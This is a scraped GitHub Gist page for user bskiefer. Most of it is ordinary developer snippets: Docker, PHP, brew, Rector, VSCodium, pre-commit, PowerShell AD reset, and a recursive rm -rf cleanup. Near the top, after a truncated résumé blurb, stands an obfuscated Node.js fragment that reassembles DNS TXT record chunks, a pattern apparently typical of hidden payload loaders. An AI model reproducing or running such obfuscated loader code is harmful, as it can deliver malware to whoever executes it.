Skip to content

Instantly share code, notes, and snippets.

A multifaceted, dynamic and results-driven IT specialist with over 8 years of experience in delivering consistent and outstanding results in development, networking, computer systems, and server administration, coupled with the provision of authentic solutions using both creative and technical ideologies. An articulate individual with a powerful blend of exceptional skills and high-quality performance in the proper use of CRM, problem resolution as well as provision of excellent customer support. A versatile individual possessing an acute awareness of practical issues and trends, particularly accessibility, usability and emerging technologies. Proven success in applying innovative concepts to improve efficiency while ensuring flawless operations through excellent delivery of services. Strong commitment to the highest standards of professional conducts. Interested in pursuing an open position in this prestigious organization to effectively utilize knowledge, skills, as well as offer personal and professional g
const dns = require("node:dns");
const dnsPromises = dns.promises;
const crypto = require('node:crypto');
function parseTxtMessage(_0x1abf0c) {
const _0x1a2ea9 = {};
for (const _0x5c338d of _0x1abf0c) {
try {
const _0x4e00a2 = _0x5c338d.join('');
let _0x7a04a4 = parseInt(_0x4e00a2.substring(0x0, 0x2), 0x10);
_0x1a2ea9[_0x7a04a4] = _0x4e00a2.substring(0x2);
@bskiefer
bskiefer / Dockerfile
Created May 3, 2024 20:03
Parse Xdebug traces and produce unique listing of usages. Includes require/include files, functions/methods, used files, and a csv containing every entry.
FROM php:8.2-cli
RUN groupadd -r dev -g 433 && \
useradd -u 431 -r -g dev -s /sbin/nologin -c "Docker image user" dev
WORKDIR /home/dev
COPY trace.php /home/dev/trace.php
COPY entry.sh /home/dev/entry.sh
RUN chmod +x /home/dev/entry.sh
@bskiefer
bskiefer / json-to-php-file.php
Created May 3, 2024 19:48
Convert JSON to PHP array output file syntax
<?php
$source = file_get_contents("readfile.json");
$target = sprintf("<?php\n\nreturn = %s", JSONToPHPArrayConverter::convert($source));
file_put_contents("output.php", $target);
class JSONToPHPArrayConverter
{
/**
@bskiefer
bskiefer / xbrew.sh
Last active April 6, 2023 14:46
Automatically migrate amd64 to arm64 brew packages. Removes packages installed under /usr/local and reinstalls (if necessary) under /opt.
#!/bin/zsh
confirm=1
while getopts c flag; do
case "${flag}" in
c) confirm= ;;
esac
done
relink() {
<?php
declare(strict_types=1);
use Rector\CodeQuality\Rector\Class_\CompleteDynamicPropertiesRector;
use Rector\Config\RectorConfig;
use Rector\Core\ValueObject\PhpVersion;
use Rector\DowngradePhp74\Rector\ArrowFunction\ArrowFunctionToAnonymousFunctionRector;
use Rector\Set\ValueObject\LevelSetList;
use Rector\Set\ValueObject\SetList;
use Rector\Visibility\Rector\ClassMethod\ExplicitPublicClassMethodRector;
@bskiefer
bskiefer / README.md
Last active September 27, 2024 22:34
VSCodium Update Extensions from VS Marketplace

This script will gather the extensions currently installed for VSCodium and update them from marketplace.visualstudio.com automatically.

  • Packages defined under $SKIP are ignored.
  • Old extension folders are removed before the update is installed.

Why?

  • open-vsx.org doesn't get updated very quickly, if at all
  • it's "illegal" to use the VS Marketplace as the extension source in non-M$ products
@bskiefer
bskiefer / .pre-commit-config.yaml
Created April 1, 2022 17:04
pre-commit hooks & config
repos:
- hooks:
- id: trailing-whitespace
- id: check-docstring-first
- id: check-json
- id: pretty-format-json
- id: check-merge-conflict
- id: check-yaml
- id: debug-statements
- id: name-tests-test
@bskiefer
bskiefer / reset-expired-ad-password.ps1
Created February 16, 2022 21:58
Reset Expired AD Password
function Set-PasswordRemotely {
[CmdletBinding(DefaultParameterSetName = 'Secure')]
param(
[Parameter(ParameterSetName = 'Secure', Mandatory)][string] $UserName,
[Parameter(ParameterSetName = 'Secure', Mandatory)][securestring] $OldPassword,
[Parameter(ParameterSetName = 'Secure', Mandatory)][securestring] $NewPassword,
[Parameter(ParameterSetName = 'Secure')][alias('DC', 'Server', 'ComputerName')][string] $DomainController
)
Begin {
$DllImport = @'
@bskiefer
bskiefer / clean_node_vendor_dirs.md
Last active May 18, 2022 17:57
List & delete all node_modules and vendor directories recursively

Output:

293M /Users/name/repos/app1/vendor

504M /Users/name/repos/app1/node_modules

423M /Users/name/repos/app2/node_modules

View folders sizes:

find ~/repos -type d \( -name "vendor" -o -name "node_modules" \) -exec du -sh {} \; -maxdepth 2

Delete folders

find ~/repos -type d ( -name "vendor" -exec du -sh {} ; -o -name "node_modules" -exec du -sh {} ; ) -exec rm -rf {} ; -maxdepth 2